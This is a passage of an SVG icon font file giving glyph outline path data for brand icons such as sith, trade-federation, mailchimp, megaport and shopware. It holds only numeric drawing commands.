-10.7793c-0.360352 -0.0107422 -0.709961 -0.0205078 -1.05957 -0.0605469c-0.290039 1.73047 -0.150391 3.48047 -0.150391 5.21973v38.1299c0.0205078 1.78027 -0.0800781 3.58008 0.110352 5.37012zM65.0498 279.67 +c1.12012 2.15039 2.08008 4.40039 3.37012 6.45996c-1.82031 -7.55957 -2.91016 -15.2695 -3.62012 -23c-0.799805 -7.70996 -0.849609 -15.4902 -0.540039 -23.2295c1.0498 -19.9404 5.54004 -39.8301 14.2305 -57.8809c2.99023 -5.98926 6.34961 -11.8291 10.5 -17.1094 +c6.12012 -7.46973 12.5293 -14.7598 19.8398 -21.0898c4.7998 -4.10059 9.99023 -7.78027 15.54 -10.8008c3.26953 -1.64941 6.50977 -3.38965 9.93945 -4.67969c5.01074 -2.03027 10.1904 -3.60938 15.4209 -4.93945c3.8291 -0.959961 7.7793 -1.41016 11.5195 -2.70996 +c5 -1.57031 9.46973 -4.61035 13.0303 -8.43066c4.92969 -5.22949 8.08984 -11.8701 10.2002 -18.6699c0.989258 -2.89941 1.58984 -5.91016 2.16992 -8.91992c0.149414 -0.75 0.219727 -1.51953 0.15918 -2.29004c-6.5 -2.78027 -13.2598 -5.05957 -20.2598 -6.17969 +c-4.10938 -0.780273 -8.29004 -0.990234 -12.46 -1.08008c-10.25 -0.240234 -20.4697 1.75977 -30.1201 5.12012c-3.73926 1.41992 -7.48926 2.84961 -11.0293 4.71973c-8.06055 3.83984 -15.6406 8.7002 -22.46 14.46c-2.9209 2.5498 -5.83008 5.12988 -8.40039 8.03027 +c-9.16016 9.83008 -16.2998 21.4102 -21.79 33.6494c-2.38965 5.55078 -4.61035 11.1807 -6.37012 16.96c-1.16992 3.94043 -2.36035 7.89062 -3.25977 11.9102c-0.75 2.94043 -1.21973 5.9502 -1.87012 8.91992c-0.459961 2.14062 -0.69043 4.32031 -1.03027 6.48047 +c-0.849609 5.42969 -1.2793 10.9297 -1.33008 16.4297c0.110352 6.18066 0.25 12.3701 1.07031 18.5c0.400391 2.86035 0.669922 5.74023 1.15039 8.60059c0.979492 5.69922 2.13965 11.3691 3.70996 16.9297c3.08984 11.6504 7.47949 22.9502 12.6895 33.8398z +M428.78 286.11c1.09961 -1.66016 1.91016 -3.48047 2.7793 -5.26074c2.10059 -4.44922 4.24023 -8.89941 6.02051 -13.4893c7.61035 -18.7607 12.2998 -38.79 13.04 -59.0508c0.0195312 -1.75977 0.0703125 -3.51953 0.110352 -5.29004 +c0.129883 -9.56934 -1.27051 -19.0898 -3.18066 -28.4492c-0.729492 -3.58984 -1.54004 -7.16992 -2.58008 -10.6904c-4.04004 -14.7197 -10 -29 -18.4102 -41.7803c-8.20996 -12.5693 -19.0098 -23.5498 -31.8398 -31.4092 +c-5.72949 -3.59082 -11.79 -6.64062 -18.0498 -9.19043c-5.78027 -2.19043 -11.71 -4.03027 -17.7998 -5.11035c-6.40039 -1.0498 -12.9102 -1.51953 -19.4004 -1.22949c-7.91992 0.479492 -15.7793 2.07031 -23.21 4.84961 +c-1.93945 0.799805 -3.93945 1.45996 -5.83984 2.33008c-0.209961 1.50977 0.25 2.99023 0.530273 4.45996c1.16016 5.74023 3.03027 11.3604 5.7002 16.5801c2.36914 4.50977 5.51953 8.65039 9.45996 11.9004c2.42969 2.0498 5.23926 3.60938 8.15918 4.83008 +c3.58008 1.5 7.4707 1.96973 11.2402 2.83008c7.23047 1.70996 14.3701 3.92969 21.1504 7c10.3496 4.64941 19.71 11.3799 27.6494 19.46c1.59082 1.60938 3.23047 3.17969 4.74023 4.86914c3.37012 3.76074 6.70996 7.57031 9.85059 11.5303 +c7.47949 10.0703 12.8193 21.5898 16.71 33.4805c1.58008 5.2998 3.20996 10.5996 4.20996 16.0498c0.629883 2.87012 1.04004 5.78027 1.51953 8.67969c0.870117 6.08984 1.58984 12.2207 1.67969 18.3799c0.120117 6.65039 0.140625 13.3203 -0.529297 19.9404 +c-0.730469 7.99023 -1.87012 15.96 -3.70996 23.7803z" /> + <glyph glyph-name="phoenix-squadron" unicode="" horiz-adv-x="512" +d="M96 384.62c46.4902 36.1299 105.55 56.0703 164.51 54.5703c29.5801 0.379883 59.1104 -5.37012 86.9102 -15.3301c-24.1299 4.62988 -49 6.33984 -73.3799 2.44922c-42.8701 -5.30957 -83.04 -27.1494 -111.83 -59.1797c5.66992 1 10.7803 3.66992 16 5.86035 +c18.1396 7.87012 37.4902 13.2598 57.2305 14.8301c19.7393 2.12988 39.6396 0.429688 59.2793 -1.91992c-14.4199 -2.79004 -29.1201 -4.57031 -43 -9.59082c-34.4297 -11.0693 -65.2695 -33.1592 -86.2998 -62.6299c-13.7998 -19.71 -23.6299 -42.8594 -24.6699 -67.1299 +c-0.349609 -16.4902 5.21973 -34.8096 19.8301 -44c8.0293 -4.85254 17.4395 -7.64648 27.498 -7.64648c3.4209 0 6.7793 0.289062 10.0215 0.90625c15.4502 2.45996 30.0703 8.64062 43.6006 16.3301c11.5195 6.82031 22.6699 14.5508 32 24.25 +c3.79004 3.2207 2.53027 8.4502 2.62012 12.79c-2.12012 0.339844 -4.37988 1.11035 -6.30078 -0.299805c-11.2676 -6.17773 -23.3838 -11.3975 -35.8193 -15.3701c-20 -6.16992 -42.1602 -8.45996 -62.1006 -0.779297c12.79 -1.73047 26.0605 -0.310547 37.7402 5.43945 +c20.2305 9.71973 36.8105 25.2002 54.4404 38.7705c27.625 21.2686 57.3311 39.7881 88.8994 55.3096c25.71 12 52.9404 22.7803 81.5703 24.1201c-15.6299 -13.7197 -32.1504 -26.5205 -46.7803 -41.3799c-14.5098 -14 -27.46 -29.5 -40.1094 -45.1807 +c-3.52051 -4.59961 -8.9502 -6.93945 -13.5801 -10.1592c-22.333 -15.0176 -40.1992 -35.627 -51.8906 -60.1006c-9.33008 -19.6797 -14.5 -41.8496 -11.7695 -63.6494c1.93945 -13.6904 8.70996 -27.5908 20.8994 -34.9102c12.9004 -8 29.0508 -8.07031 43.4805 -5.10059 +c32.7998 7.4502 61.4297 28.8906 81 55.8408c20.4404 27.5195 30.5195 62.1992 29.1602 96.3496c-0.520508 7.5 -1.57031 15 -1.66016 22.4902c8 -19.4805 14.8203 -39.71 16.6504 -60.8301c2 -14.2803 0.75 -28.7598 -1.62012 -42.9004 +c-1.91016 -11 -5.66992 -21.5098 -7.78027 -32.4297c19.9287 22.3428 33.9023 50.3545 39.3398 81.0703c1.48438 9.39258 2.25488 19.0225 2.25488 28.8301c0 27.0342 -5.95508 52.6875 -16.4648 75.8096c20.7803 -32 32.3398 -69.5801 35.71 -107.48 +c0.490234 -12.7295 0.490234 -25.5098 0 -38.2295c-2.89453 -35.0469 -13.3936 -68.4854 -29.5898 -97.75c-26.1201 -47.3398 -68 -85.6299 -117.19 -108c-78.29 -36.2305 -174.68 -31.3203 -248 14.6797c-39.0088 23.8643 -70.5215 57.7861 -91.4492 98.6602 +c-14.2646 28.0879 -23.2725 59.8086 -25.3604 92.9199v31.3398c3.92969 69.7402 40.8701 135.92 96 178.36zM318 304.29c5.50781 0.932617 10.9404 2.46973 16 4.47949c5 1.77051 9.24023 5.94043 10.3203 11.2207c-8.95996 -4.99023 -17.9805 -9.91992 -26.3203 -15.7002z +" /> + <glyph glyph-name="sith" unicode="" +d="M0 416l118.75 -69.71l-11.5195 58.9004l91.0596 -69.8701c8.5 1.50977 17.0996 2.29004 25.71 2.29004s17.21 -0.770508 25.71 -2.29004l91.0596 69.8701l-11.5195 -58.9004l118.75 69.71l-69.71 -118.75l58.8604 11.5195l-69.8408 -91.0293 +c3.04004 -17.0098 3.03027 -34.4404 0 -51.4502l69.8408 -91.0303l-58.8604 11.5205l69.71 -118.78l-118.75 69.71l11.5195 -58.8604l-91.0293 69.8408c-17.0098 -3.04004 -34.46 -3.04004 -51.4805 0l-91.0293 -69.8408l11.5195 58.8604l-118.75 -69.71l69.71 118.78 +l-58.8604 -11.5205l69.8408 91.0303c-1.49512 8.39453 -2.27539 16.7734 -2.27539 25.5947s0.780273 17.4609 2.27539 25.8555l-69.8408 91.0293l58.8604 -11.5195zM224 316.22c-31.7998 0 -63.6104 -12.0898 -87.8496 -36.3398c-48.4902 -48.4902 -48.5 -127.2 0 -175.7 +c48.5 -48.4893 127.21 -48.5195 175.699 -0.0292969c48.4902 48.4893 48.5 127.199 0 175.699c-24.25 24.25 -56.0498 36.3701 -87.8496 36.3701zM224 279.56c22.4199 0 44.8301 -8.51953 61.9199 -25.6094c34.1904 -34.1904 34.1797 -89.6904 0 -123.87 +c-34.1895 -34.1797 -89.6504 -34.1904 -123.84 0c-34.1904 34.1895 -34.1797 89.6895 0 123.87c17.0898 17.0898 39.5 25.6094 61.9199 25.6094z" /> + <glyph glyph-name="trade-federation" unicode="" horiz-adv-x="496" +d="M248 439.2c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM248 -43.5996c129.7 0 234.8 105.1 234.8 234.8s-105.1 234.8 -234.8 234.8s-234.8 -105.1 -234.8 -234.8s105.1 -234.8 234.8 -234.8zM403.1 284.9v-0.100586h-145.699 +v-34.7998h83.2998v-47h-83.2998v-195.8h-48.8008v196.8h-117.699l-36.7002 46h155.1v81.7002h193.8v-46.7998zM329.8 239.8h-82.8994v56.2002h145v24.4004h-171.801v-80.6006h-143.899l20.0996 -23.8994h123.8v-197.4h26.8008v197.4h82.8994v23.8994zM168.5 308.8l22 9.2998 +l-15.7998 -18.0996l15.7002 -18.0996l-22.2002 9.5l-12.2998 -20.5l2.09961 24l-23.2998 5.39941l23.5 5.40039l-2.10059 23.7998zM138.9 328.5l9.5 -10.2002l-13.8008 5.2998l-6.7998 -12.1992l0.799805 14.6992l-13.6992 2.7002l14.2998 3.7998l-1.7002 13.9004 +l8 -12.4004l12.7002 5.90039zM304.3 183.3l-9.2998 -10.7998l9.40039 -10.7002l-13.1006 5.5l-7.2998 -12.2002l1.2002 14.2002l-13.9004 3.2002l13.9004 3.2002l-1.2998 14.2002l7.2998 -12.2002zM411.2 260.5l-15 -17.5996l15.0996 -17l-21.2002 8.7998l-11.5 -19.6006 +l1.80078 22.9004l-22.2002 4.90039l22.2998 5.39941l-2.2002 22.7002l12 -19.5996zM248 418.1c125.3 0 226.9 -101.6 226.9 -226.899s-101.601 -226.9 -226.9 -226.9s-226.9 101.601 -226.9 226.9s101.601 226.899 226.9 226.899zM342.6 252h-83.1992v30.9004h145.699 +v50.6992h-197.8v-81.5996h-157.399l40 -49.9004h116.699v-196.8h52.7002v195.7h83.2998v51zM248 404.8c-94.5996 0 -174.9 -61.5996 -202.9 -146.8h157.4v81.5996h199.1c-38.7998 40.2002 -93.2998 65.2002 -153.6 65.2002zM248 -22.2998c117.9 0 213.5 95.5996 213.4 213.5 +c0 51.8994 -18.5 99.5 -49.3008 136.5v-50.7998h-145.6v-19.2002h83.2002v-62.7002h-83.2998v-195.8h-64.6006v196.8h-114.7l-43.7998 56.2998c-5.7998 -19.2998 -8.89941 -39.8994 -8.89941 -61.0996c0 -117.9 95.6992 -213.5 213.6 -213.5zM178.8 173l22.7002 9.2998 +l-16.9004 -17.0996l15.8008 -18.7998l-21.5 10.7998l-13 -20.9004l3.69922 23.7998l-23.7998 5.90039l23.7002 3.90039l-1.7002 24.5z" /> + <glyph glyph-name="wolf-pack-battalion" unicode="" horiz-adv-x="512" +d="M267.73 -23.5303l-11.4404 -21.1396l-11.4404 21.1104l-10.5596 -15.8408l-5.28027 12.3203l-5.2793 -7v-29.8301c-21.0605 7.91992 -21.1104 66.8604 -25.5107 97.21c-4.62012 31.8799 0.879883 92.8105 -81.3701 149.11c8.88086 23.5996 12 49.4297 2.64062 80.0498 +c-27.8701 -3.33008 -53.9404 -10.5801 -63.3398 -54.0996l30.3496 -8.36035c-11.2002 -23.04 -17.0195 -46.7598 -13.2002 -72.1396l27.2705 7l6.16016 -33.4307l18.4697 7l8.7998 -33.4297l19.3496 7l-26.4297 -21.0596l-8.7998 28.1494l-24.6299 -5.28027l-7 35.6309 +l-26.3906 -14.5205c-0.25 20.0205 -6.95996 58.0605 8.80078 84.4502l-26.3906 -5.28027c-3.99023 22.0703 2.37988 39.21 7.91992 56.7402l-22.4297 -9.67969c0.44043 25.0693 29.9404 56.79 61.5898 58.5098c20.2197 1.08984 56.7305 25.1602 54.1006 51.8994 +c-1.95996 19.8701 -17.4502 42.6201 -43.1104 49.7002c43.9795 -36.5098 9.71973 -67.2998 -5.28027 -73.46c-4.39941 11.4404 -17.54 69.0801 0 130.2c40.4697 -22.8701 89.7002 -65.0996 93.21 -147.86l58.0605 -38.71l3.51953 -93.25l-107.33 59.8203l-7 -7 +l17.5801 -3.50977l44 -38.71l15.8398 5.2793l28.1504 -49.2598l3.51953 -119.64l-21.1094 -15.8398l32.5498 -15.8398l32.5498 15.8398l-21.1094 15.8398l3.51953 119.64l28.0996 49.25l15.8408 -5.28027l44 38.7109l17.5898 3.51953l-7 7l-107.3 -59.7695l3.51953 93.25 +l58 38.71c3.5498 82.6895 52.8096 124.92 93.2002 147.79c17.54 -61.1201 4.39941 -118.761 0 -130.2c-14.96 6.16016 -49.2803 36.9502 -5.28027 73.46c-25.6602 -7.08008 -41.1104 -29.8301 -43.1104 -49.7002c-2.63965 -26.7305 33.8809 -50.8096 54.1006 -51.9004 +c31.6396 -1.70996 61.1396 -33.4297 61.5801 -58.5l-22.4307 9.68066c5.54004 -17.5303 11.9209 -34.6699 7.9209 -56.7402l-26.3906 5.28027c15.7998 -26.3906 9.0498 -64.4502 8.7998 -84.4502l-26.3896 14.5195l-7 -35.6299l-24.5898 5.24023l-8.7998 -28.1504 +l-26.3906 21.1104l19.3506 -7l8.7998 33.3896l18.4697 -7l6.16016 33.4307l27.2803 -7.05078c3.7998 25.3809 -2.0498 49.1406 -13.2002 72.1406l30.3496 8.35938c-9.42969 43.5205 -35.4297 50.7305 -63.3398 54.1006 +c-9.35938 -30.6201 -6.24023 -56.4404 2.64062 -80.0498c-82.25 -56.3008 -76.75 -117.221 -81.3701 -149.11c-4.40039 -30.3496 -4.4502 -89.29 -25.5107 -97.21v29.9502l-5.2793 7l-5.28027 -12.3203zM346.9 71.4697l-15.8408 10.5303 +c7.4707 4.36035 13.7607 8.41992 19.3506 12.3203c-0.600586 -7.2207 -0.270508 -13.8398 -3.50977 -22.8398v-0.0107422zM375.05 120.73c-0.399414 -10.9404 -0.899414 -21.6602 -1.75977 -31.6709c-7.84961 1.86035 -15.5703 3.80078 -21.1104 7 +c8.24023 7.94043 15.5508 16.3203 22.8701 24.6807v-0.00976562zM399.68 115.45l-23.75 6.16016c6.78906 8.64844 12.9297 17.708 18.4707 27.2695c3.22949 -9.21973 5.2793 -20 5.2793 -33.4297zM403.2 196.39c19.4395 -12.8096 27.7998 -33.6592 29.9102 -56.2998 +c-12.3203 4.53027 -24.6299 9.31055 -36.9502 10.5605c5.05957 12 6.64941 28.1396 7 45.7393h0.0400391zM401.44 242.13c18.5596 -2.62988 35.1494 -9.18945 45.7598 -28.1494c-14.2197 -4.36035 -24.7803 -5.9707 -44 -14.0801 +c0.0800781 13.4092 -0.950195 27.9297 -1.75977 42.2295zM165.68 71.4805c-3.23926 9 -2.91016 15.5791 -3.50977 22.8398c5.58984 -3.90039 11.8799 -7.95996 19.3496 -12.3203zM137.53 120.74c7.31934 -8.36035 14.6299 -16.7402 22.8701 -24.6699 +c-5.54004 -3.2002 -13.2607 -5.14062 -21.1104 -7c-0.860352 10.0098 -1.36035 20.7295 -1.75977 31.6699zM112.89 115.46c0 13.4297 2 24.21 5.28027 33.4297c5.54102 -9.56152 11.6816 -18.6211 18.4697 -27.2695zM109.37 196.4h0.0898438 +c0.349609 -17.6006 2 -33.7402 7 -45.7402c-12.3701 -1.25 -24.6797 -6.03027 -37 -10.5605c2.11035 22.6406 10.4697 43.4902 29.9102 56.3008zM111.13 242.14c-0.80957 -14.2998 -1.83984 -28.8193 -1.75977 -42.2295c-19.2197 8.10938 -29.7803 9.71973 -44 14.0801 +c10.6299 18.9502 27.2295 25.5195 45.7598 28.1494z" /> + <glyph glyph-name="hornbill" unicode="" horiz-adv-x="512" +d="M76.3799 77.7002c0.219727 -1.64648 0.333008 -3.32617 0.333008 -5.03125c0 -20.8623 -16.9375 -37.7998 -37.8008 -37.7998c-20.8623 0 -37.7998 16.9375 -37.7998 37.7998s16.9375 37.7998 37.7998 37.7998c1.84668 0 3.62207 -0.0927734 5.39746 -0.348633 +c-78.2793 111.35 52 190.53 52 190.53c-5.85938 -43 -8.23926 -91.1602 -8.23926 -91.1602c-67.3105 -41.4902 0.929688 -64.0605 39.8096 -72.8701c19.7207 -53.6396 71.2256 -91.8984 131.66 -91.9404c1.91992 0 3.76953 0.209961 5.66992 0.280273l0.110352 -18.8604 +c-99.2207 -1.38965 -158.7 29.1406 -188.94 51.6006zM184.38 405.4c109.75 73.9395 187.601 -54.0605 187.601 -54.0605c-43.04 5.86035 -91.1807 8.24023 -91.1807 8.24023c-43.0996 70.0098 -65.7998 -6.58008 -73.7998 -44.29 +c-51.5254 -20.7842 -87.8506 -71.208 -87.8896 -130.13c0 -0.910156 0.139648 -1.78027 0.139648 -2.67969l-21.8398 -0.150391c-1.41016 100.43 29.8701 160.09 52.4199 190c-1.02051 -0.0820312 -2.03711 -0.0888672 -3.07812 -0.0888672 +c-20.9453 0 -37.9492 17.0049 -37.9492 37.9502s17.0039 37.9502 37.9492 37.9502c15.0898 0 28.1338 -8.8252 34.248 -21.5918c2.35742 -4.91211 3.70117 -10.4102 3.70117 -16.2188c0 -1.67188 -0.109375 -3.31738 -0.321289 -4.93066zM488.57 271.23 +c-4.87012 -2.31934 -10.2754 -3.63965 -16.0244 -3.63965c-1.09375 0 -2.17578 0.046875 -3.24609 0.139648c84.4502 -113.45 -49 -194.61 -49 -194.61c5.87012 43.0303 8.20996 91.1602 8.20996 91.1602c66.6006 40.96 0.640625 63.54 -38.46 72.54 +c-20.5566 51.9932 -71.2275 88.7393 -130.49 88.7598c-2.75 0 -5.43945 -0.259766 -8.13965 -0.410156l-0.139648 22.5c93.6094 1.33008 151.72 -25.7998 183.45 -47.7402c-0.270508 1.82617 -0.375 3.67676 -0.375 5.57715c0 20.9395 17 37.9395 37.9395 37.9395 +c20.9404 0 37.9404 -17 37.9404 -37.9395c0 -15.1162 -8.85938 -28.1797 -21.665 -34.2764zM374.06 11.7598v-0.0595703c0.112305 0.000976562 0.239258 -0.0332031 0.351562 -0.0332031c20.9336 0 37.9297 -16.9961 37.9297 -37.9297 +c0 -20.9346 -16.9961 -37.9307 -37.9297 -37.9307c-15.0908 0 -28.1348 8.83203 -34.2412 21.6035c-2.0498 4.26074 -3.33984 9.0332 -3.63965 14c-111.98 -80.3398 -191.9 51 -191.9 51c43.0703 -5.87988 91.1904 -8.21973 91.1904 -8.21973 +c41.3301 -67.1709 63.9199 0.540039 72.7695 39.4893c53.3574 19.8584 91.3574 71.2188 91.3906 131.45c0 2.08008 -0.220703 4.08984 -0.300781 6.15039l19.5205 0.139648c1.28027 -89.9697 -23.71 -147.2 -45.1406 -179.66z" /> + <glyph glyph-name="mailchimp" unicode="" +d="M330.61 204.48c-2.50977 3.17969 -4.70996 8.31934 -5.9707 14.3193c-2.22949 10.6807 -1.98926 18.4102 4.24023 19.4199c6.23047 1.01074 9.25 -5.45996 11.4805 -16.1299c1.5 -7.17969 1.20996 -13.7803 -0.450195 -17.6094 +c-1.53418 0.198242 -3.02441 0.300781 -4.61328 0.300781c-1.58789 0 -3.15234 -0.102539 -4.68652 -0.300781zM277.05 196c-4.45996 1.95996 -10.2598 4.13965 -17.2598 3.7002c-12.5996 -0.770508 -21.75 -7.21973 -22.5996 -3.48047 +c-0.400391 1.83984 2.40918 4.87988 5.40918 7.06055c5.20117 3.80859 11.6621 6.06055 18.5967 6.06055c4.25391 0 8.31152 -0.84668 12.0137 -2.38086c8.63965 -3.7002 14.0098 -11.1504 12.1201 -13.0898c-1.08008 -1.12988 -3.81055 0.129883 -8.28027 2.12988z +M268.05 190.87c9.68066 1.14941 16.8604 -4.62988 15.4004 -6.85059c-0.629883 -1.00977 -2.02051 -0.829102 -4.94043 -0.489258c-1.85449 0.286133 -3.73438 0.420898 -5.66895 0.420898c-4.59277 0 -8.99121 -0.838867 -13.0508 -2.37109 +c-4.04004 -1.62012 -4.30957 -1.15039 -5.20996 -0.810547c-1.53027 3.57031 4.40039 8.68066 13.4697 10.1006zM322.22 173.77c-3.40039 -6.91016 -17.7002 0.0703125 -14.2998 7c3.40039 6.93066 17.6797 -0.129883 14.2998 -7zM337.88 194.24 +c7.69922 -0.149414 7.42969 -16.0605 -0.259766 -15.9307c-7.69043 0.130859 -7.40039 16.0605 0.259766 15.9307zM119.09 115.34c4.0293 0.910156 3.40039 -1.25 3.37012 -0.359375c0.291016 -0.358398 0.464844 -0.818359 0.464844 -1.31445 +c0 -0.369141 -0.0966797 -0.71582 -0.264648 -1.01562c-3.16016 -7.37012 -20.1904 -7.68066 -21.5801 9c-0.910156 10.8594 9.30957 21.0293 -2.28027 28.6191c-2.02734 1.34277 -4.46289 2.14648 -7.0752 2.14648c-4.51465 0 -8.4873 -2.33691 -10.7744 -5.86621 +c-3.2998 -5.16016 -3.11035 -12.2002 -7.37988 -11.6299c-3.7207 0.540039 -3.70996 14.4805 5 24.0801c7.22949 8 25.9492 11.9297 35.0498 -5.54004c8.11035 -15.3896 -8.2002 -27.7695 -3 -35.7695c2.46973 -3.80078 7.14941 -2.66016 8.46973 -2.35059zM418.81 132.41 +c6.44043 0 16.5605 -7.5 16.5605 -25.2705c0 -17.7695 -7.37012 -37.9092 -9.11035 -42.3799c-54.3896 -130.279 -264.56 -130.06 -322.29 3c-31.5293 -0.0400391 -64.1699 26.9805 -67.5293 60.3799c-0.308594 2.71191 -0.438477 5.42383 -0.438477 8.2168 +c0 8.89062 1.60352 17.4102 4.53809 25.2832l-14.7598 12.5107c-67.5498 57.04 143.72 291.85 211.27 232.93c0.339844 -0.299805 22.9902 -22.5205 23.0498 -22.5703l12.5508 5.33008c59.2695 24.5303 107.359 12.6904 107.42 -26.4697 +c0.0292969 -20.3604 -12.9404 -44.1006 -33.7305 -65.6504c26.1699 -24.2998 20.0205 -71.6094 21.5205 -83c7.19922 -2 30.6992 -7.62012 41.0996 -18.54c18.3604 -19.25 5.52051 -39.5801 3.07031 -43.25c4.20996 -11.2998 3.42969 -8.79004 6.7793 -20.5195z +M102.81 84.25c29.4502 -0.680664 38.6309 28.2002 34.0908 57.8398c-9.74023 62.9404 -90.1699 48.9805 -84 -12.3301c2.44922 -24.3594 27.0898 -44.8994 49.9092 -45.5098zM84.2998 198.45c19.3105 51.8096 51.54 99.5498 94.2002 132.399 +c31.6504 26.4102 65.7998 45.3506 65.7998 45.3506s-18.3896 21.3193 -23.9395 22.8896c-34.1699 9.23047 -107.94 -41.6494 -155.051 -108.88c-19.0596 -27.21 -46.3096 -75.3604 -33.2998 -100.21c1.58984 -3 10.71 -10.9297 15.5898 -15 +c8.18066 11.9102 21.54 20.5 36.7002 23.4502zM323.18 97.2998c2.58984 0.259766 0.560547 -2.53027 0.560547 -2.53027s-27.4004 -12.75 -71 0.740234c1.20996 -10.2295 11.1699 -14.8193 15.9395 -16.6699c31.4004 -12.21 86.6904 -2.58008 128.46 26 +c0.850586 0.589844 1.41992 0 0.730469 -1c-28.9697 -41.3496 -128.73 -54.7598 -151.37 -21.3496c-12.0801 17.8301 -0.599609 43.8594 19.5498 41.1494c6.7998 -0.769531 53.7705 -8 100.48 13.6807c27.4893 12.7598 37.8701 26.79 36.3096 38.1602 +c-0.537109 3.60742 -2.25 6.85156 -4.74023 9.28906c-5 4.83008 -12.79 8.60059 -26 12.3105c-4.35938 1.22949 -7.31934 2.00977 -10.5098 3.05957c-5.67969 1.83008 -8.47949 3.33008 -9.10938 14c-0.280273 4.62988 -1.09082 20.9102 -1.38086 27.6299 +c-0.519531 11.7607 -1.91992 27.8506 -11.9199 34.4902c-2.71094 1.73535 -5.94238 2.75098 -9.39746 2.75098c-1.44824 0 -2.85645 -0.177734 -4.20215 -0.510742c-5.69043 -0.969727 -9.06055 -4.00977 -13.2598 -7.50977 +c-12.4404 -10.3701 -22.9502 -12.0605 -34.6406 -11.5605c-6.98926 0.290039 -14.3994 1.37988 -22.8799 1.87988l-5 0.290039c-19.5801 1 -40.5693 -15.9092 -44.0693 -39.9092c-4.86035 -33.4307 19.3291 -50.7002 26.3291 -60.8301 +c1.04785 -1.25391 1.74121 -2.82812 1.9209 -4.54004c0 -1.94043 -1.25 -3.48047 -2.48047 -4.79004c-19.9805 -20.54 -26.3701 -53.1699 -18.8398 -80.3701c0.927734 -3.33594 2.13574 -6.6377 3.5498 -9.74023c17.7002 -41.2598 72.4902 -60.4795 126 -43 +c7.01562 2.29199 13.8936 5.20215 20.3398 8.58008c11.8203 5.84668 22.2969 13.7168 31.1504 23.3096c14.2002 14.8408 22.6396 30.9707 25.9297 50.8408c2.81055 18.6191 -7.78027 18.7598 -11.4395 18.0996c-1.37598 8.42188 -3.82812 16.6758 -7.12012 24.2803 +c-15.6299 -12.3506 -35.71 -20.9707 -51 -25.3506c-69.4004 -19.9102 -90.1904 6.35059 -96.4004 -13.8096c33.7705 -12.3701 69.5098 -7.07031 69.5098 -7.07031zM171.31 290.5l0.0605469 0.00976562c-0.107422 -0.130859 -0.170898 -0.297852 -0.170898 -0.480469 +c0 -0.419922 0.34082 -0.759766 0.759766 -0.759766c0.151367 0 0.292969 0.0439453 0.411133 0.120117c11.4199 8.30078 64.9502 42.7705 134.5 26.8301c0.860352 -0.189453 1.39941 1.29004 0.639648 1.7207c-11.3398 6.33984 -28.6895 10.6494 -41 10.7393 +c-0.405273 0.00976562 -0.732422 0.342773 -0.732422 0.750977c0 0.164062 0.0527344 0.31543 0.142578 0.439453c2.23535 2.92383 4.79492 5.49414 7.70996 7.74023c0.18457 0.140625 0.303711 0.362305 0.303711 0.611328 +c0 0.424805 -0.345703 0.770508 -0.770508 0.770508c-0.0175781 0 -0.0351562 -0.000976562 -0.0527344 -0.00195312c-17.5205 -1.08008 -37.5107 -9.4707 -49 -17.2998c-0.12207 -0.0859375 -0.271484 -0.136719 -0.431641 -0.136719 +c-0.414062 0 -0.75 0.335938 -0.75 0.75c0 0.0605469 0.0078125 0.120117 0.0214844 0.176758c0.899414 4.30957 3.72949 9.98926 5.18945 12.6494c0.0644531 0.108398 0.101562 0.236328 0.101562 0.371094c0 0.40332 -0.327148 0.730469 -0.730469 0.730469 +c-0.134766 0 -0.261719 -0.0371094 -0.371094 -0.101562c-18.4697 -9.4502 -39.0898 -26.2803 -55.8301 -45.6299z" /> + <glyph glyph-name="megaport" unicode="" horiz-adv-x="496" +d="M214.5 238.4l33.4004 33.3994l33.3994 -33.3994v-66.4004l-33.2998 -33.2998l-33.5 33.5v66.2002zM248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM393.1 25.5996h0.100586v87.1006l-59.7002 59.7002v87.5996l-59.5 59.5 +v75.5996l-26.0996 19.2002l-26.1006 -19.2002v-75.5996l-59.5 -59.5v-87.9004l-59.5 -59.5v-87l26.1006 -19.1992l26.0996 19.1992v65.5l33.5 33.4004l33.4004 -33.4004v-65.5l26.0996 -19.1992l26.2002 19.1992v65.5l33.3994 33.4004l33.4004 -33.4004v-65.5l26 -19.1992z +" /> + <glyph glyph-name="nimblr" unicode="" horiz-adv-x="384" +d="M246.6 148.71c15.5703 0 27.1504 -11.46 27.1504 -27s-11.6201 -27 -27.1504 -27c-15.6992 0 -27.1494 11.5703 -27.1494 27s11.5498 27 27.1494 27zM113 121.75c0 15.6104 11.6797 27 27.1504 27c15.4697 0 27.1494 -11.46 27.1494 -27s-11.4697 -27 -27.1494 -27 +c-15.4404 0 -27.1504 11.3096 -27.1504 27zM191.76 289c98.3701 0 177.76 -78.9102 177.76 -176.48c0 -97.5693 -79.6094 -176.52 -177.76 -176.52c-98.1494 0 -177.76 78.8701 -177.76 176.52v335.48l45.25 -227c30.2002 48.2305 97.75 68 132.51 68zM191.76 -19.1201 +c73.2402 0 132.51 58.96 132.51 131.64c0 72.6807 -59.2393 131.54 -132.51 131.54c-73.2695 0 -132.51 -58.8994 -132.51 -131.59c0 -72.6895 59.2402 -131.59 132.51 -131.59z" /> + <glyph glyph-name="rev" unicode="" +d="M289.67 173.11c0 -36.1895 -29.3809 -65.5703 -65.5703 -65.5703c-36.1885 0 -65.5693 29.3809 -65.5693 65.5703c0 36.1885 29.3906 65.5596 65.5801 65.5596c36.1631 -0.0439453 65.5156 -29.3965 65.5596 -65.5596zM429.22 178.16v-210.16h-210.16v0.110352 +c-110.939 2.70996 -200.06 93.4092 -200.06 205c0 108.569 84.2998 197.319 191 204.569v38.3203l108.77 -62.7803l-108.77 -62.79v39.1201c-80 -7.16016 -143 -74.5498 -143 -156.43c0 -86.6201 70.4902 -157.12 157.11 -157.12s157.09 70.5 157.09 157.12 +c-0.0263672 55.3057 -28.5371 103.871 -71.8105 131.84l45.3799 26.2002c44.3125 -36.582 72.8613 -91.4561 74.3203 -153h0.129883z" /> + <glyph glyph-name="shopware" unicode="" horiz-adv-x="512" +d="M403.5 -7.41016c-40.9688 -30.4482 -91.7109 -48.4707 -146.63 -48.4707c-0.223633 0 -0.646484 -0.120117 -0.870117 -0.119141c-137.19 0 -248 111 -248 248c0 137.19 111 248 248 248h0.21582c63.5576 0 121.648 -24.0508 165.484 -63.5 +c0.716797 -0.65332 1.16699 -1.59375 1.16699 -2.63965c0 -1.9707 -1.59961 -3.57031 -3.57031 -3.57031c-0.155273 0 -0.306641 0.0107422 -0.457031 0.0302734c-18.2656 2.43848 -36.9023 3.69727 -55.8301 